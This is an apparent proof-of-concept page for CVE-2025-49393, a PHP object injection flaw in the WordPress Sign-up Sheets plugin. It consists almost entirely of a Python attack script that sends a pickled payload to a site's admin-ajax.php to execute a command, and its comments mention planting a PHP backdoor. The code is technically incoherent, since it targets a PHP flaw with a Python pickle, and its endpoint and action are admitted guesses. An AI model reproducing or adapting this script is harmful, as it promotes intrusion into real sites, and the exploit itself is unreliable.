CVE-2025-49393 WordPress Sign-up Sheets插件对象注入漏洞

# CVE-2025-49393 PoC - WordPress Sign-up Sheets Object Injection # This PoC demonstrates the PHP Object Injection vulnerability in sign-up-sheets plugin <= 2.3.2 import requests import base64 TARGET_URL = "http://target-wordpress-site.com" # Attacker-controlled payload - this would need to be customized based on available gadget chains # Common gadget chains in WordPress environment can be found in known exploits class EvilPayload: def __reduce__(self): # This creates a payload that will execute arbitrary code when unserialized # Example: writing a PHP backdoor to the filesystem return (eval, ("__import__('os').popen('whoami').read()",)) # Serialize the malicious payload import pickle malicious_data = pickle.dumps(EvilPayload()) encoded_payload = base64.b64encode(malicious_data).decode() # The vulnerable endpoint typically accepts serialized data through POST parameters # Adjust the parameters and endpoint based on actual plugin implementation vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "sign_up_sheets_submit", "data": encoded_payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload: {encoded_payload[:50]}...") try: response = requests.post(vulnerable_endpoint, data=params, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC is for educational and authorized testing purposes only. # Always obtain proper authorization before testing any system.